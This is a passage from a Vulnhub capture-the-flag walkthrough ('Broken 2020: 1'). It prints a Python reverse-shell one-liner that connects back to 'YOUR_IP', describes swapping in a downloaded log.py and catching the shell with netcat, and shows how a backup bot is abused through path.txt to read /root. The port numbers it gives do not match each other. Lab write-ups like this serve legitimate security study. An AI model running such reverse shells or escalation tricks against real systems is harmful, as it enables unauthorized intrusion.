Broken 2020: 1 Vulnhub Walkthrough

Code: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. Launch a python server

3. Rename the existing log.py in the VM’s session to log_new.py

4. Copy log.py using wget command and give execute permissions.

In a new terminal, start a netcat listener on port specified in the payload. Here, 5555, and wait for a reverse shell.

Surely, we received alice’s shell. Now we traversed through directories and found a /back directory with backup folder. There we snagged our third flag!

Now, we saw a note.txt too which had a message saying “Please put path of the website backup directory in path.txt and bot will do the rest.” That means, those three scripts (backup.py, check.py and hack.sh) were doing something using the contents in path.txt

 Upon analysing the three scripts we understood that the bot (scripts) are picking up the contents in the directory specified in “path.txt” and copying it in the current directory! That solved our purpose since we can just dump the contents of /root directory using this.

Hence, we input /root in path.txt with the command:

Echo “/root” > path.txt

After waiting for about a minute again, we easily saw the contents of root directory and read the congratulatory flag!